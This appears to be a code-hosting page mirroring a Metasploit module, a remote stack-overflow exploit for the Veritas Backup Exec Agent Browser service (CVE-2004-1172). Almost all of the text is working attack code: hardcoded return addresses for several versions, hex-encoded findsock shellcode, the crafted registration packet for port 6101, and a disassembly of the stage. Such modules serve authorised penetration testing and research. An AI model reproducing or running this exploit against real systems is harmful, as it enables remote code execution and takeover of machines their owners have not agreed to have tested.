Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/backupexec/name_service.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(update_info(info,12'Name' => 'Veritas Backup Exec Name Service Overflow',13'Description' => %q{14This module exploits a vulnerability in the Veritas Backup15Exec Agent Browser service. This vulnerability occurs when a16recv() call has a length value too long for the destination17stack buffer. By sending an agent name value of 63 bytes or18more, we can overwrite the return address of the recv19function. Since we only have ~60 bytes of contiguous space20for shellcode, a tiny findsock payload is sent which uses a21hardcoded IAT address for the recv() function. This payload22will then roll the stack back to the beginning of the page,23recv() the real shellcode into it, and jump to it. This24module has been tested against Veritas 9.1 SP0, 9.1 SP1, and258.6.26},27'Author' => [ 'hdm' ],28'License' => MSF_LICENSE,29'References' =>30[31[ 'CVE', '2004-1172'],32[ 'OSVDB', '12418'],33[ 'BID', '11974'],34[ 'URL', 'http://www.idefense.com/application/poi/display?id=169&type=vulnerabilities'],35],36'Privileged' => true,37'Payload' =>38{39'Space' => 1024,40'MinNops' => 512,41'StackAdjustment' => -3500,42},43'Platform' => %w{ win },44'Targets' =>45[46[47'Veritas BE 9.1 SP0/SP1', # BackupExec 9.1 SP0/SP1 return contributed by class10148{49'Platform' => 'win',50'Rets' => [ 0x0142ffa1, 0x401150FF ], # [email protected] v9.1.4691.0 | [email protected]51},52],53[54'Veritas BE 8.5',55{56'Platform' => 'win',57'Rets' => [ 0x014308b9, 0x401138FF ], # [email protected] v8.50.3572 | [email protected] v8.50.357258},59],60],61'DisclosureDate' => '2004-12-16',62'DefaultTarget' => 0))6364register_options(65[66Opt::RPORT(6101)67])68end6970def exploit71connect7273print_status("Trying target #{target.name}...")7475# This will findsock/read the real shellcode (51 bytes, harcoded IAT for recv)76# The IAT for recv() is for bnetns, the address is shifted by 8 bits to avoid77# nulls: [0x00401150 -> 0x401150FF]78stage_code = "\xfc" * 11279stage_read =80"\x31\xf6\xc1\xec\x0c\xc1\xe4\x0c\x89\xe7\x89\xfb\x6a\x01\x8b\x74"+81"\x24\xfe\x31\xd2\x52\x42\xc1\xe2\x10\x52\x57\x56\xb8\xff\x50\x11"+82"\x40\xc1\xe8\x08\xff\x10\x85\xc0\x79\x07\x89\xdc\x4e\x85\xf6\x75"8384# Configure the IAT for the recv call85stage_read[29, 4] = [ target['Rets'][1] ].pack('V')8687# Stuff it all into one request88stage_code[2, stage_read.length] = stage_read8990# Create the registration request91req =92"\x02\x00\x32\x00\x20\x00" + stage_code + "\x00"+93"1.1.1.1.1.1\x00" + "\xeb\x81"9495print_status("Sending the agent registration request of #{req.length} bytes...")96sock.put(req)9798print_status("Sending the payload stage down the socket...")99sock.put(payload.encoded)100101print_status("Waiting for the payload to execute...")102select(nil,nil,nil,2)103104handler105disconnect106end107end108109110__END__111[ findsock stage ]11200000000 31F6 xor esi,esi11300000002 C1EC0C shr esp,0xc11400000005 C1E40C shl esp,0xc11500000008 89E7 mov edi,esp1160000000A 89FB mov ebx,edi1170000000C 6A01 push byte +0x11180000000E 8B7424FE mov esi,[esp-0x2]11900000012 31D2 xor edx,edx12000000014 52 push edx12100000015 42 inc edx12200000016 C1E210 shl edx,0x1012300000019 52 push edx1240000001A 57 push edi1250000001B 56 push esi1260000001C B8FF501140 mov eax,0x401150ff12700000021 C1E808 shr eax,0x812800000024 FF10 call near [eax]12900000026 85C0 test eax,eax13000000028 7907 jns 0x311310000002A 89DC mov esp,ebx1320000002C 4E dec esi1330000002D 85F6 test esi,esi1340000002F 75E1 jnz 0x1213500000031 FFD7 call edi136137138